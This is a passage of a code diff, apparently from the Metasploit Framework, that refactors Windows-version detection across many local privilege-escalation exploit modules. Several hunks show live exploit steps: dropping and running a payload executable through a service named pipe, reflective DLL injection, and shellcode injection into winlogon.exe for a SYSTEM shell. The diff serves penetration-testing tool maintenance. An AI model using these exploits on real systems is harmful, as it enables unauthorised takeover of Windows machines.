sysinfo_value = sysinfo['OS']
build_num = sysinfo_value.match(/\w+\d+\w+(\d+)/)[0].to_i
vprint_status("Build Number = #{build_num}")
unless sysinfo_value =~ /10/ && (build_num > 17133 && build_num < 18362)
version = get_version_info
vprint_status("OS version: #{version}")
unless version.build_number.between?(Msf::WindowsVersion::Win10_1803, Msf::WindowsVersion::Win10_1809)
fail_with(Failure::NotVulnerable, 'The exploit only supports Windows 10 build versions 17133-18362')
end
end

View File

@ -41,7 +41,7 @@ class MetasploitModule < Msf::Exploit::Local
'Windows 10 v1703 (Build 15063) x86', {
'UniqueProcessIdOffset' => 180,
'TokenOffset' => 252,
'Version' => 'Build 15063'
'Version' => Msf::WindowsVersion::Win10_1703
}
]
],
@ -74,7 +74,8 @@ class MetasploitModule < Msf::Exploit::Local
def target_info
fail_with(Failure::None, 'Session is already elevated') if is_system?
unless sysinfo['OS'].include?(target['Version']) && sysinfo['Architecture'] == 'x86'
version = get_version_info
unless version.build_number == target['Version'] && sysinfo['Architecture'] == 'x86'
fail_with(Failure::NoTarget, 'Target is not compatible with exploit')
end
end

View File

@ -63,9 +63,7 @@ class MetasploitModule < Msf::Exploit::Local
end
def check
sysinfo_value = sysinfo['OS']
if sysinfo_value !~ /windows/i
if session.platform != 'windows'
# Non-Windows systems are definitely not affected.
return CheckCode::Safe
end

View File

@ -284,10 +284,9 @@ class MetasploitModule < Msf::Exploit::Local
fail_with(Failure::NoTarget, 'Running against WOW64 is not supported')
end
sysinfo_value = sysinfo['OS']
build_num = sysinfo_value.match(/\w+\d+\w+(\d+)/)[0].to_i
vprint_status("Build Number = #{build_num}")
unless sysinfo_value =~ /10/ && (build_num >= 17134 && build_num <= 18363)
version_info = get_version_info
vprint_status("Version: #{version_info.number}")
unless version_info.build_version.between?(Msf::WindowsVersion::Win10_1803, Msf::WindowsVersion::Win10_1909)
fail_with(Failure::NotVulnerable, 'The exploit only supports Windows 10 build versions 17134-18363')
end
end

View File

@ -89,7 +89,6 @@ class MetasploitModule < Msf::Exploit::Local
def check
sysinfo_value = sysinfo['OS']
if sysinfo_value !~ /windows/i
# Non-Windows systems are definitely not affected.
return CheckCode::Safe('Target is not a Windows system, so it is not affected by this vulnerability!')
@ -106,7 +105,8 @@ class MetasploitModule < Msf::Exploit::Local
end
# see https://docs.microsoft.com/en-us/windows/release-information/
unless sysinfo_value =~ /(7|8|8\.1|10|2008|2012|2016|2019|1803|1903)/
version = get_version_info
unless version.build_number.between?(Msf::WindowsVersion::Win7_SP0, Msf::WindowsVersion::Win10_1909)
return CheckCode::Safe('Target is not running a vulnerable version of Windows!')
end
@ -151,7 +151,7 @@ class MetasploitModule < Msf::Exploit::Local
def check_target_is_running_supported_windows_version
if sysinfo['OS'].match('Windows').nil?
fail_with(Failure::NotVulnerable, 'Target is not running Windows!')
elsif sysinfo['OS'].match('Windows 10').nil? && sysinfo['OS'].match('Windows Server 2016').nil? && sysinfo['OS'].match('Windows Server 2019').nil?
elsif get_version_info.build_number < Msf::WindowsVersion::Win10_InitialRelease
fail_with(Failure::BadConfig, 'Target is running Windows, its not a version this module supports! Bailing...')
end
end

View File

@ -62,17 +62,15 @@ class MetasploitModule < Msf::Exploit::Local
end
def check
sysinfo_value = sysinfo['OS']
if sysinfo_value !~ /windows/i
if session.platform != 'windows'
# Non-Windows systems are definitely not affected.
return Exploit::CheckCode::Safe
end
build_num = sysinfo_value.match(/\w+\d+\w+(\d+)/)[0].to_i
vprint_status("Windows Build Number = #{build_num}")
version = get_version_info
vprint_status("Windows Build Number = #{version.build_number}")
# see https://docs.microsoft.com/en-us/windows/release-information/
unless sysinfo_value =~ /10/ && (build_num >= 18362 && build_num <= 18363)
unless version.build_number.between?(Msf::WindowsVersion::Win10_1903, Msf::WindowsVersion::Win10_1909)
print_error('The exploit only supports Windows 10 versions 1903 - 1909')
return CheckCode::Safe
end

View File

@ -44,7 +44,11 @@ class MetasploitModule < Msf::Exploit::Local
'DefaultOptions' => {
'DisablePayloadHandler' => true
},
'SideEffects' => [ ARTIFACTS_ON_DISK, SCREEN_EFFECTS ],
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [ ARTIFACTS_ON_DISK, SCREEN_EFFECTS ]
},
'Compat' => {
'Meterpreter' => {
'Commands' => %w[
@ -169,10 +173,10 @@ class MetasploitModule < Msf::Exploit::Local
end
def check
sysinfo_value = sysinfo['OS']
build_num = sysinfo_value.match(/\w+\d+\w+(\d+)/)[0].to_i
vprint_status("Build Number = #{build_num}")
return Exploit::CheckCode::Appears if sysinfo_value =~ /10/ && build_num <= 18363
version = get_version_info
vprint_status("OS version: #{version}")
return Exploit::CheckCode::Appears if version.build_number.between?(Msf::WindowsVersion::Win10_InitialRelease, Msf::WindowsVersion::Win10_1909)
return Exploit::CheckCode::Safe
end

View File

@ -71,8 +71,7 @@ class MetasploitModule < Msf::Exploit::Local
end
def check
sysinfo_value = sysinfo['OS']
if sysinfo_value !~ /windows/i
if session.platform != 'windows'
# Non-Windows systems are definitely not affected.
return CheckCode::Safe
end

View File

@ -150,10 +150,9 @@ class MetasploitModule < Msf::Exploit::Local
end
def check
sysinfo_value = sysinfo['OS']
build_num = sysinfo_value.match(/\w+\d+\w+(\d+)/)[0].to_i
vprint_status("Build Number = #{build_num}")
if sysinfo_value =~ /10/ && (build_num > 17763) && (build_num <= 19041)
version = get_version_info
vprint_status("OS version: #{version}")
if version.build_number.between?(Msf::WindowsVersion::Win10_1903, Msf::WindowsVersion::Win10_2004)
return Exploit::CheckCode::Appears
else
return Exploit::CheckCode::Safe

View File

@ -11,6 +11,7 @@ class MetasploitModule < Msf::Exploit::Local
include Msf::Post::Common
include Msf::Post::File
include Msf::Post::Windows::Priv
include Msf::Post::Windows::Version
include Msf::Exploit::EXE
include Msf::Post::Windows::Powershell
@ -174,10 +175,9 @@ class MetasploitModule < Msf::Exploit::Local
end
def check
sysinfo_value = sysinfo['OS']
build_num = sysinfo_value.match(/\w+\d+\w+(\d+)/)[0].to_i
vprint_status("Build Number = #{build_num}")
return Exploit::CheckCode::Appears if sysinfo_value =~ /10/ && build_num <= 18363
version = get_version_info
vprint_status("OS version: #{version}")
return Exploit::CheckCode::Appears if version.build_number.between?(Msf::WindowsVersion::Win10_InitialRelease, Msf::WindowsVersion::Win10_1909)
return Exploit::CheckCode::Safe
end

View File

@ -112,8 +112,7 @@ class MetasploitModule < Msf::Exploit::Local
end
def check
sysinfo_value = sysinfo['OS']
if sysinfo_value !~ /windows/i
if session.platform != 'windows'
# Non-Windows systems are definitely not affected.
return CheckCode::Safe('Target is not a Windows system, so it is not affected by this vulnerability!')
end

View File

@ -50,7 +50,8 @@ class MetasploitModule < Msf::Exploit::Local
'DefaultTarget' => 0,
'Notes' => {
'Stability' => [ CRASH_OS_RESTARTS, ],
'Reliability' => [ REPEATABLE_SESSION, ]
'Reliability' => [ REPEATABLE_SESSION, ],
'SideEffects' => [ IOC_IN_LOGS ]
},
'Compat' => {
'Meterpreter' => {
@ -65,9 +66,7 @@ class MetasploitModule < Msf::Exploit::Local
end
def check
sysinfo_value = sysinfo['OS']
if sysinfo_value !~ /windows/i
if session.platform != 'windows'
# Non-Windows systems are definitely not affected.
return Exploit::CheckCode::Safe
end
@ -82,15 +81,12 @@ class MetasploitModule < Msf::Exploit::Local
end
def target_compatible?
sysinfo_value = sysinfo['OS']
version = get_version_info
build_num = sysinfo_value.match(/Build (\d+)/)[1].to_i
vprint_status("Windows Build Number = #{build_num}")
return true if sysinfo_value =~ /Windows 7/ && ((build_num == 7600) || (build_num == 7601))
return true if sysinfo_value =~ /Windows 8\.1/ && (build_num == 9600)
return true if sysinfo_value =~ /Windows 10/ && (build_num >= 14393 && build_num <= 19043)
return true if sysinfo_value =~ /Windows 2016/ && (build_num >= 14393 && build_num <= 19043)
vprint_status("OS version: #{version}")
return true if version.build_number.between?(Msf::WindowsVersion::Win7_SP0, Msf::WindowsVersion::Win7_SP1) && version.workstation?
return true if version.build_number == Msf::WindowsVersion::Win81 && version.workstation?
return true if version.build_number.between?(Msf::WindowsVersion::Win10_1607, Msf::WindowsVersion::Win10_21H1)
false
end

View File

@ -8,6 +8,7 @@ class MetasploitModule < Msf::Exploit::Local
include Msf::Post::File
include Msf::Post::Windows::Priv
include Msf::Post::Windows::Version
include Msf::Post::Windows::Process
include Msf::Post::Windows::ReflectiveDLLInjection
prepend Msf::Exploit::Remote::AutoCheck
@ -73,13 +74,18 @@ class MetasploitModule < Msf::Exploit::Local
end
def check
sysinfo_value = sysinfo['OS']
if sysinfo_value !~ /windows/i
if session.platform != 'windows'
# Non-Windows systems are definitely not affected.
return CheckCode::Safe('Target is not a Windows system, so it is not affected by this vulnerability!')
end
version_info = get_version_info
unless version_info.build_number.between?(Msf::WindowsVersion::Win7_SP0, Msf::WindowsVersion::Win10_21H1) ||
version_info.build_number == Msf::WindowsVersion::Server2022 ||
version_info.build_number == Msf::WindowsVersion::Win11_21H1
return CheckCode::Safe('Target is not running a vulnerable version of Windows!')
end
build_num_raw = cmd_exec('cmd.exe /c ver')
build_num = build_num_raw.match(/\d+\.\d+\.\d+\.\d+/)
if build_num.nil?
@ -89,11 +95,6 @@ class MetasploitModule < Msf::Exploit::Local
print_status("Target's build number: #{build_num}")
end
# see https://docs.microsoft.com/en-us/windows/release-information/
unless sysinfo_value =~ /(7|8|8\.1|10|2008|2012|2016|2019|1803|1809|1903)/
return CheckCode::Safe('Target is not running a vulnerable version of Windows!')
end
build_num_gemversion = Rex::Version.new(build_num)
# Build numbers taken from https://www.qualys.com/research/security-alerts/2021-10-12/microsoft/

View File

@ -89,22 +89,21 @@ class MetasploitModule < Msf::Exploit::Local
end
def check
sysinfo_value = sysinfo['OS']
if sysinfo_value !~ /windows/i
if session.platform != 'windows'
# Non-Windows systems are definitely not affected.
return Exploit::CheckCode::Safe
end
build_num = sysinfo_value.match(/\w+\d+\w+(\d+)/)[0].to_i
vprint_status("Windows Build Number = #{build_num}")
unless sysinfo_value =~ /10/ && (build_num >= 17134 && build_num <= 19044)
print_error('The exploit only supports Windows 10 versions 1803 - 21H2')
version = get_version_info
vprint_status("Windows Build Number = #{version.product_name}")
if version.build_number.between?(Msf::WindowsVersion::Win10_1803, Msf::WindowsVersion::Win10_21H2)
CheckCode::Appears
elsif version.build_number == Msf::WindowsVersion::Server2022 || version.build_number == Msf::WindowsVersion::Win11_21H2
CheckCode::Detected("May be vulnerable, but exploit not tested on #{version.product_name}")
else
print_error('Vulnerability only present on Windows 10 versions 1803 - 21H2, Windows 11 21H2, Server 2019 and Server 2022')
return CheckCode::Safe
end
CheckCode::Appears
end
def exploit

View File

@ -90,19 +90,18 @@ class MetasploitModule < Msf::Exploit::Local
end
def check
s_info = sysinfo['OS']
unless s_info =~ /windows/i
unless session.platform == 'windows'
return CheckCode::Safe('This module only supports Windows targets.')
end
_major, _minor, build, revision, _branch = file_version('C:\\Windows\\System32\\ntdll.dll')
version = get_version_info
case s_info
when /windows 7/i
if version.build_number.between?(Msf::WindowsVersion::Win7_SP0, Msf::WindowsVersion::Win7_SP1)
return CheckCode::Safe('Windows 7 is technically vulnerable, though it requires a reboot.')
when /windows 10/i, /windows 2019\+/i, /windows 2016\+/i # 2019 gets reported as 2016 by meterpreter
return CheckCode::Appears if build <= 18362
return CheckCode::Appears if revision < 1526
elsif version.build_number.between?(Msf::WindowsVersion::Win10_InitialRelease, Msf::WindowsVersion::Win10_21H2) ||
version.build_number == Msf::WindowsVersion::Server2022 ||
version.build_number == Msf::WindowsVersion::Win11_21H2
return CheckCode::Appears
end
CheckCode::Safe
@ -129,9 +128,8 @@ class MetasploitModule < Msf::Exploit::Local
end
def target_is_server?
s_info = sysinfo['OS']
s_info =~ /server/i || s_info =~ /\d{4}\+/
version = get_version_info
version.windows_server?
end
# Windows usually has Print to PDF or XPS Document Writer

View File

@ -91,7 +91,10 @@ class MetasploitModule < Msf::Exploit::Local
end
# see https://docs.microsoft.com/en-us/windows/release-information/
unless sysinfo_value =~ /(7|8|8\.1|10|11|2008|2012|2016|2019|2022|1803|1903|1909|2004)/
version = get_version_info
unless version.build_number.between?(Msf::WindowsVersion::Win7_SP0, Msf::WindowsVersion::Win10_21H2) ||
version.build_number == Msf::WindowsVersion::Win11_21H2 ||
version.build_number == Msf::WindowsVersion::Server2022
return CheckCode::Safe('Target is not running a vulnerable version of Windows!')
end
@ -129,7 +132,7 @@ class MetasploitModule < Msf::Exploit::Local
if (build_num_gemversion >= Rex::Version.new('10.0.22000.0')) # Windows 11
return CheckCode::Appears('Vulnerable Windows 11 build detected!')
elsif (build_num_gemversion >= Rex::Version.new('10.0.20348.0')) # Windows Server 2022
return CheckCode::Appears('Vulnerable Windows 11 build detected!')
return CheckCode::Appears('Vulnerable Windows Server 2022 build detected!')
elsif (build_num_gemversion >= Rex::Version.new('10.0.19044.0')) # Windows 10 21H2
return CheckCode::Appears('Vulnerable Windows 10 21H2 build detected!')
elsif (build_num_gemversion >= Rex::Version.new('10.0.19043.0')) # Windows 10 21H1
@ -196,8 +199,8 @@ class MetasploitModule < Msf::Exploit::Local
def check_target_is_running_supported_windows_version
if !sysinfo['OS'].include?('Windows')
fail_with(Failure::NotVulnerable, 'Target is not running Windows!')
elsif !sysinfo['OS'].include?('Windows 10') && !sysinfo['OS'].include?('Windows 11') && !sysinfo['OS'].include?('Windows Server 2022')
fail_with(Failure::NoTarget, 'Target is running Windows, its not a version this module supports! Bailing...')
elsif get_version_info.build_number < Msf::WindowsVersion::Win10_InitialRelease
fail_with(Failure::NoTarget, 'Target is running Windows, but not a version this module supports! Bailing...')
end
end

View File

@ -85,7 +85,8 @@ class MetasploitModule < Msf::Exploit::Local
end
def check
if sysinfo['OS'] =~ /Windows 20(03|08|12|16\+|16)/
version = get_version_info
if version.windows_server?
vprint_good('OS seems vulnerable.')
else
vprint_error('OS is not vulnerable!')

View File

@ -31,7 +31,7 @@ class MetasploitModule < Msf::Exploit::Local
'Platform' => 'win',
'SessionTypes' => ['meterpreter'],
'DefaultOptions' => {
'EXITFUNC' => 'thread',
'EXITFUNC' => 'thread'
},
'Targets' => [
[ 'Windows', {} ]
@ -64,9 +64,7 @@ class MetasploitModule < Msf::Exploit::Local
end
def check
os = sysinfo['OS']
unless os =~ /windows/i
unless session.platform == 'windows'
return Exploit::CheckCode::Safe
end
@ -122,7 +120,7 @@ class MetasploitModule < Msf::Exploit::Local
def is_running?
begin
status = service_status('iPlatformService')
rescue RuntimeError => e
rescue RuntimeError
print_error('Unable to retrieve service status')
return false
end
@ -135,15 +133,15 @@ class MetasploitModule < Msf::Exploit::Local
fail_with(Failure::NoTarget, 'Session is already elevated')
end
handle = open_named_pipe("\\\\.\\pipe\\IPEFSYSPCPIPE")
handle = open_named_pipe('\\\\.\\pipe\\IPEFSYSPCPIPE')
if handle.nil?
fail_with(Failure::NoTarget, "\\\\.\\pipe\\IPEFSYSPCPIPE named pipe not found")
fail_with(Failure::NoTarget, '\\\\.\\pipe\\IPEFSYSPCPIPE named pipe not found')
else
print_status("Opended \\\\.\\pipe\\IPEFSYSPCPIPE! Proceeding...")
print_status('Opended \\\\.\\pipe\\IPEFSYSPCPIPE! Proceeding...')
end
if datastore['WritableDir'] and not datastore['WritableDir'].empty?
if datastore['WritableDir'] && !datastore['WritableDir'].empty?
temp_dir = datastore['WritableDir']
else
temp_dir = client.sys.config.getenv('TEMP')
@ -160,7 +158,7 @@ class MetasploitModule < Msf::Exploit::Local
print_status('Writing malicious exe to remote filesystem')
write_path = pwd
exe_name = "#{rand_text_alpha(10 + rand(10))}.exe"
exe_name = "#{rand_text_alpha(rand(10..19))}.exe"
begin
write_file(exe_name, generate_payload_exe)

View File

@ -36,7 +36,7 @@ class MetasploitModule < Msf::Exploit::Local
'Platform' => 'win',
'SessionTypes' => ['meterpreter'],
'DefaultOptions' => {
'EXITFUNC' => 'thread',
'EXITFUNC' => 'thread'
},
'Targets' => [
[ 'Windows', {} ]
@ -70,9 +70,7 @@ class MetasploitModule < Msf::Exploit::Local
end
def check
os = sysinfo['OS']
unless os =~ /windows/i
unless session.platform == 'windows'
return Exploit::CheckCode::Safe
end
@ -146,7 +144,7 @@ class MetasploitModule < Msf::Exploit::Local
print_status('Giving the service some time to start...')
Rex.sleep(datastore['Sleep'])
print_status("Getting security token...")
print_status('Getting security token...')
token = get_security_token(su_directory)
vprint_good("Security token is: #{token}")
@ -166,7 +164,7 @@ class MetasploitModule < Msf::Exploit::Local
print_status('Writing malicious exe to remote filesystem')
write_path = pwd
exe_name = "#{rand_text_alpha(10 + rand(10))}.exe"
exe_name = "#{rand_text_alpha(rand(10..19))}.exe"
begin
write_file(exe_name, generate_payload_exe)
@ -178,7 +176,7 @@ class MetasploitModule < Msf::Exploit::Local
print_status('Sending Execute command to update service')
begin
write_res = write_named_pipe("\\\\.\\pipe\\SUPipeServer", "/execute #{exe_name} /arguments /directory #{write_path} /type COMMAND /securitycode #{token}")
write_res = write_named_pipe('\\\\.\\pipe\\SUPipeServer', "/execute #{exe_name} /arguments /directory #{write_path} /type COMMAND /securitycode #{token}")
rescue Rex::Post::Meterpreter::RequestError
fail_with(Failure::Unknown, 'Failed to write to pipe')
end

View File

@ -77,8 +77,8 @@ class MetasploitModule < Msf::Exploit::Local
def setup
super
@exploit_name = datastore['EXPLOIT_NAME'] || Rex::Text.rand_text_alpha((rand(8) + 6))
@payload_name = datastore['PAYLOAD_NAME'] || Rex::Text.rand_text_alpha((rand(8) + 6))
@exploit_name = datastore['EXPLOIT_NAME'] || Rex::Text.rand_text_alpha(rand(6..13))
@payload_name = datastore['PAYLOAD_NAME'] || Rex::Text.rand_text_alpha(rand(6..13))
@exploit_name = "#{exploit_name}.exe" unless exploit_name.match(/\.exe$/i)
@payload_name = "#{payload_name}.exe" unless payload_name.match(/\.exe$/i)
@temp_path = datastore['PATH'] || session.sys.config.getenv('TEMP')
@ -88,12 +88,10 @@ class MetasploitModule < Msf::Exploit::Local
end
def validate_active_host
begin
print_status("Attempting to PrivEsc on #{sysinfo['Computer']} via session ID: #{datastore['SESSION']}")
rescue Rex::Post::Meterpreter::RequestError => e
elog(e)
raise Msf::Exploit::Failed, 'Could not connect to session'
end
print_status("Attempting to PrivEsc on #{sysinfo['Computer']} via session ID: #{datastore['SESSION']}")
rescue Rex::Post::Meterpreter::RequestError => e
elog(e)
raise Msf::Exploit::Failed, 'Could not connect to session'
end
def validate_remote_path(path)
@ -106,7 +104,8 @@ class MetasploitModule < Msf::Exploit::Local
if sysinfo['Architecture'] != ARCH_X64
fail_with(Failure::NoTarget, 'Exploit code is 64-bit only')
end
if sysinfo['OS'] =~ /XP/
version = get_version_info
if version.build_number.between?(Msf::WindowsVersion::XP_SP0, Msf::WindowsVersion::XP_SP3)
fail_with(Failure::Unknown, 'The exploit binary does not support Windows XP')
end
end
@ -151,56 +150,45 @@ class MetasploitModule < Msf::Exploit::Local
end
def exploit_dll
begin
print_status('Checking target...')
validate_active_host
validate_target
print_status('Target looks good... reflectively injecting exploit DLL and triggering exploit!')
encoded_payload = payload.encoded
execute_dll(
::File.join(Msf::Config.data_directory, 'exploits', 'cve-2018-8897', 'reflective_dll.x64.dll'),
encoded_payload
)
print_good('Exploit finished, wait for (hopefully privileged) payload execution to complete.')
rescue Rex::Post::Meterpreter::RequestError => e
elog(e)
print_error(e.message)
end
print_status('Checking target...')
validate_active_host
validate_target
print_status('Target looks good... reflectively injecting exploit DLL and triggering exploit!')
encoded_payload = payload.encoded
execute_dll(
::File.join(Msf::Config.data_directory, 'exploits', 'cve-2018-8897', 'reflective_dll.x64.dll'),
encoded_payload
)
print_good('Exploit finished, wait for (hopefully privileged) payload execution to complete.')
rescue Rex::Post::Meterpreter::RequestError => e
elog(e)
print_error(e.message)
end
def exploit_exe
begin
validate_remote_path(temp_path)
ensure_clean_exploit_destination
ensure_clean_payload_destination
upload_exploit
upload_payload
execute_exploit
print_good('Exploit finished, wait for (hopefully privileged) payload execution to complete.')
rescue Rex::Post::Meterpreter::RequestError => e
elog(e)
print_error(e.message)
ensure_clean_exploit_destination
ensure_clean_payload_destination
end
validate_remote_path(temp_path)
ensure_clean_exploit_destination
ensure_clean_payload_destination
upload_exploit
upload_payload
execute_exploit
print_good('Exploit finished, wait for (hopefully privileged) payload execution to complete.')
rescue Rex::Post::Meterpreter::RequestError => e
elog(e)
print_error(e.message)
ensure_clean_exploit_destination
ensure_clean_payload_destination
end
def exploit
begin
validate_active_host
validate_target
if datastore['USE_INJECTION']
exploit_dll
else
exploit_exe
end
validate_active_host
validate_target
if datastore['USE_INJECTION']
exploit_dll
else
exploit_exe
end
end
attr_reader :exploit_name
attr_reader :payload_name
attr_reader :payload_exe
attr_reader :temp_path
attr_reader :payload_path
attr_reader :exploit_path
attr_reader :exploit_name, :payload_name, :payload_exe, :temp_path, :payload_path, :exploit_path
end

View File

@ -53,7 +53,7 @@ class MetasploitModule < Msf::Exploit::Local
'DisclosureDate' => '2014-07-22',
'DefaultTarget' => 0,
'Notes' => {
'Stability' => [ CRASH_OS_RESTARTS, ],
'Stability' => [ CRASH_OS_RESTARTS, ]
},
'Compat' => {
'Meterpreter' => {
@ -97,11 +97,10 @@ class MetasploitModule < Msf::Exploit::Local
end
session.railgun.kernel32.CloseHandle(handle)
os = sysinfo['OS']
case os
when /windows xp.*service pack 3/i
version = get_version_info
if version.build_number == Msf::WindowsVersion::XP_SP3
return Exploit::CheckCode::Appears
when /windows xp/i
elsif version.xp_or_2003? && !version.windows_server?
vprint_error('Unsupported version of Windows XP detected')
return Exploit::CheckCode::Detected
else
@ -122,7 +121,7 @@ class MetasploitModule < Msf::Exploit::Local
# Running on Windows XP versions that aren't listed in the supported list
# results in a BSOD and so we should not let that happen.
if check == Exploit::CheckCode::Safe
fail_with(Failure::NotVulnerable, "Exploit not available on this system")
fail_with(Failure::NotVulnerable, 'Exploit not available on this system')
end
base_addr = 0xffff

View File

@ -11,49 +11,51 @@ class MetasploitModule < Msf::Exploit::Local
include Msf::Post::Windows::Process
include Msf::Post::Windows::ReflectiveDLLInjection
def initialize(info={})
super( update_info( info,
'Name' => 'Windows SYSTEM Escalation via KiTrap0D',
'Description' => %q{
This module will create a new session with SYSTEM privileges via the
KiTrap0D exploit by Tavis Ormandy. If the session in use is already
elevated then the exploit will not run. The module relies on kitrap0d.x86.dll,
and is not supported on x64 editions of Windows.
},
'License' => MSF_LICENSE,
'Author' => [
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Windows SYSTEM Escalation via KiTrap0D',
'Description' => %q{
This module will create a new session with SYSTEM privileges via the
KiTrap0D exploit by Tavis Ormandy. If the session in use is already
elevated then the exploit will not run. The module relies on kitrap0d.x86.dll,
and is not supported on x64 editions of Windows.
},
'License' => MSF_LICENSE,
'Author' => [
'Tavis Ormandy', # Original resesarcher and exploit creator
'HD Moore', # Port of Tavis' code to meterpreter module
'Pusscat', # Port of Tavis' code to meterpreter module
'OJ Reeves' # Port of meterpreter code to a windows local exploit
],
'Platform' => [ 'win' ],
'SessionTypes' => [ 'meterpreter' ],
'Targets' => [
[ 'Windows 2K SP4 - Windows 7 (x86)', { 'Arch' => ARCH_X86, 'Platform' => 'win' } ]
],
'DefaultTarget' => 0,
'References' => [
[ 'CVE', '2010-0232' ],
[ 'OSVDB', '61854' ],
[ 'MSB', 'MS10-015' ],
[ 'EDB', '11199' ],
[ 'URL', 'https://seclists.org/fulldisclosure/2010/Jan/341' ]
],
'DisclosureDate'=> '2010-01-19'
))
'Platform' => [ 'win' ],
'SessionTypes' => [ 'meterpreter' ],
'Targets' => [
[ 'Windows 2K SP4 - Windows 7 (x86)', { 'Arch' => ARCH_X86, 'Platform' => 'win' } ]
],
'DefaultTarget' => 0,
'References' => [
[ 'CVE', '2010-0232' ],
[ 'OSVDB', '61854' ],
[ 'MSB', 'MS10-015' ],
[ 'EDB', '11199' ],
[ 'URL', 'https://seclists.org/fulldisclosure/2010/Jan/341' ]
],
'DisclosureDate' => '2010-01-19'
)
)
end
def check
# Validate platform architecture
if sysinfo["Architecture"] == ARCH_X64
if sysinfo['Architecture'] == ARCH_X64
return Exploit::CheckCode::Safe
end
# Validate OS version
winver = sysinfo["OS"]
unless winver =~ /Windows 2000|Windows XP|Windows Vista|Windows 2003|Windows .NET Server|Windows 2008|Windows 7/
version = get_version_info
unless version.build_number.between?(Msf::WindowsVersion::Win2000, Msf::WindowsVersion::Win7_SP1)
return Exploit::CheckCode::Safe
end
@ -66,17 +68,16 @@ class MetasploitModule < Msf::Exploit::Local
end
if check == Exploit::CheckCode::Safe
fail_with(Failure::NotVulnerable, "Exploit not available on this system.")
fail_with(Failure::NotVulnerable, 'Exploit not available on this system.')
end
print_status("Reflectively injecting payload and triggering the bug...")
print_status('Reflectively injecting payload and triggering the bug...')
encoded_payload = payload.encoded
execute_dll(
::File.join(Msf::Config.data_directory, "exploits", "CVE-2010-0232", "kitrap0d.x86.dll"),
::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2010-0232', 'kitrap0d.x86.dll'),
encoded_payload
)
print_good('Exploit finished, wait for (hopefully privileged) payload execution to complete.')
end
end

View File

@ -127,12 +127,9 @@ class MetasploitModule < Msf::Exploit::Local
mytarget = target
if mytarget.name =~ /Automatic/
os = sysinfo['OS']
mytarget = targets[1] if os =~ /windows xp/i
mytarget = targets[2] if (os =~ /2003/) && (os =~ /service pack 2/i)
if (os =~ /\.net server/i) && (os =~ /service pack 2/i)
mytarget = targets[2]
end
version = get_version_info
mytarget = targets[1] if version.build_number.between?(Msf::WindowsVersion::XP_SP2, Msf::WindowsVersion::XP_SP3)
mytarget = targets[2] if version.build_number == Msf::WindowsVersion::Server2003_SP2
if mytarget.name =~ /Automatic/
print_error('Could not identify the target system, it may not be supported')
@ -142,7 +139,7 @@ class MetasploitModule < Msf::Exploit::Local
end
if is_system?
print_error('This meterpreter session is already running as SYSTE')
print_error('This meterpreter session is already running as SYSTEM')
return
end

View File

@ -36,7 +36,7 @@ class MetasploitModule < Msf::Exploit::Local
'Platform' => 'win',
'SessionTypes' => [ 'meterpreter' ],
'DefaultOptions' => {
'EXITFUNC' => 'thread',
'EXITFUNC' => 'thread'
},
'Targets' => [
[ 'Windows 7 SP0/SP1', {} ]
@ -68,12 +68,11 @@ class MetasploitModule < Msf::Exploit::Local
end
def check
os = sysinfo["OS"]
unless (os =~ /windows/i)
unless session.platform == 'windows'
return Exploit::CheckCode::Safe
end
file_path = expand_path("%windir%") << "\\system32\\win32k.sys"
file_path = expand_path('%windir%') << '\\system32\\win32k.sys'
major, minor, build, revision, branch = file_version(file_path)
vprint_status("win32k.sys file version: #{major}.#{minor}.#{build}.#{revision} branch: #{branch}")
@ -83,8 +82,8 @@ class MetasploitModule < Msf::Exploit::Local
when 7601
if branch == 18
return Exploit::CheckCode::Appears if revision < 18176
else
return Exploit::CheckCode::Appears if revision < 22348
elsif revision < 22348
return Exploit::CheckCode::Appears
end
end
return Exploit::CheckCode::Safe
@ -95,26 +94,26 @@ class MetasploitModule < Msf::Exploit::Local
fail_with(Failure::None, 'Session is already elevated')
end
if sysinfo["Architecture"] == ARCH_X64
fail_with(Failure::NoTarget, "Running against 64-bit systems is not supported")
if sysinfo['Architecture'] == ARCH_X64
fail_with(Failure::NoTarget, 'Running against 64-bit systems is not supported')
end
if check == Exploit::CheckCode::Safe
fail_with(Failure::NotVulnerable, "Exploit not available on this system")
fail_with(Failure::NotVulnerable, 'Exploit not available on this system')
end
print_status("Launching notepad to host the exploit...")
notepad_process_pid = cmd_exec_get_pid("notepad.exe")
print_status('Launching notepad to host the exploit...')
notepad_process_pid = cmd_exec_get_pid('notepad.exe')
begin
process = client.sys.process.open(notepad_process_pid, PROCESS_ALL_ACCESS)
print_good("Process #{process.pid} launched.")
rescue Rex::Post::Meterpreter::RequestError
print_error("Operation failed. Hosting exploit in the current process...")
print_error('Operation failed. Hosting exploit in the current process...')
process = client.sys.process.open
end
print_status("Reflectively injecting the exploit DLL into #{process.pid}...")
library_path = ::File.join(Msf::Config.data_directory, "exploits", "cve-2013-1300", "schlamperei.x86.dll")
library_path = ::File.join(Msf::Config.data_directory, 'exploits', 'cve-2013-1300', 'schlamperei.x86.dll')
library_path = ::File.expand_path(library_path)
print_status("Injecting exploit into #{process.pid}...")
@ -124,18 +123,18 @@ class MetasploitModule < Msf::Exploit::Local
client.railgun.kernel32.WaitForSingleObject(thread.handle, 5000)
client.sys.process.each_process do |p|
if p['name'] == "winlogon.exe"
winlogon_pid = p['pid']
print_status("Found winlogon.exe with PID #{winlogon_pid}")
next unless p['name'] == 'winlogon.exe'
if execute_shellcode(payload.encoded, nil, winlogon_pid)
print_good("Everything seems to have worked, cross your fingers and wait for a SYSTEM shell")
else
print_error("Failed to start payload thread")
end
winlogon_pid = p['pid']
print_status("Found winlogon.exe with PID #{winlogon_pid}")
break
if execute_shellcode(payload.encoded, nil, winlogon_pid)
print_good('Everything seems to have worked, cross your fingers and wait for a SYSTEM shell')
else
print_error('Failed to start payload thread')
end
break
end
end
end

View File

@ -3,7 +3,6 @@
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Local
Rank = AverageRanking
@ -13,64 +12,62 @@ class MetasploitModule < Msf::Exploit::Local
include Msf::Post::Windows::FileInfo
include Msf::Post::Windows::ReflectiveDLLInjection
def initialize(info={})
super(update_info(info, {
'Name' => 'Windows TrackPopupMenuEx Win32k NULL Page',
'Description' => %q{
This module exploits a vulnerability in win32k.sys where under
specific conditions TrackPopupMenuEx will pass a NULL pointer to
the MNEndMenuState procedure. This module has been tested
successfully on Windows 7 SP0 and Windows 7 SP1.
},
